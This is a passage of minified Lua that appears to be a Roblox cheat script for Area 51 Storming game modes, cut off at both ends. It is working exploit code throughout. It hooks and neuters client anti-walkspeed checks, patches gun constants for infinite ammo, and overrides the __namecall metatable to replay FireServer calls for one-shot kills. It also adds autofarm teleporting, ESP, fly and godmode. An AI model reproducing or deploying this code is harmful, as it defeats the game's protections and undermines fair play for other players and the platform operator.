print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==3508248007 then local o="BloodTheme"local x=n.CreateLib("Area 51 Storming UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end;for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Character end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Get all Weapons','Gives you all the weapons in-game.',function()for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"MissileTouch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Remove Parts:")local z=y:NewSection("")z:NewButton('Remove Invisible Walls','Click this button to remove the Invisible walls around the map.',function()game:GetService("Workspace")["Invisible Walls"]:Destroy()end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("")z:NewToggle("Loop Teleport to Leader","Enable/Disable to loop teleport to leader.",function(R)if R then _G.loopTeleport=true;while wait()do if _G.loopTeleport==true then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace")["Characters to kill"].Leader.Torso.CFrame end end else _G.loopTeleport=false end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==4631179692 then local o="BloodTheme"local x=n.CreateLib("Killhouse UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else warn("")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)local y=x:NewTab("Teleports:")local z=y:NewSection("Start/End Teleports")z:NewButton("Teleport to Start","Teleports you to the start.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.StartTrigger.CFrame end)z:NewButton("Teleport to End","Teleports you to the end.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.EndTrigger.CFrame end)local y=x:NewTab("ESP:")local z=y:NewSection("Target/Player")z:NewToggle("Targets Esp","Puts ESP on targets around the map..",function(R)if R then for an,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Target"then local a5=Instance.new("BoxHandleAdornment",v)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=v.Size;a5.Adornee=v;a5.Transparency=0.4;a5.Color=BrickColor.new("Really red")local a=Instance.new("BillboardGui",v)a.Size=UDim2.new(1,0,1,0)a.Name=math.random(100,200)a.AlwaysOnTop=true;local a5=Instance.new("Frame",a)a5.Size=UDim2.new(1,0,1,0)a5.BackgroundTransparency=1;a5.BorderSizePixel=0;local ao=Instance.new("TextLabel",a5)ao.Text=v.Parent.Name;ao.Size=UDim2.new(1,0,1,0)ao.BackgroundTransparency=0;ao.BorderSizePixel=0;ao.TextColor=BrickColor.new("Gun metallic")end end else for K,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("BoxHandleAdornment")or v:IsA("BillboardGui")then v:Destroy()end end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==2092167559 then local o="BloodTheme"local x=n.CreateLib("Killer Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''local z=y:NewSection("Current Team:")z:NewToggle("Kill all Killers:","Enable/Disable to enable Autofarm",function(R)if R then local k=game:GetService('Players').LocalPlayer;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Humanoid.Health==0;wait()end end else print("Toggle Off")end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then 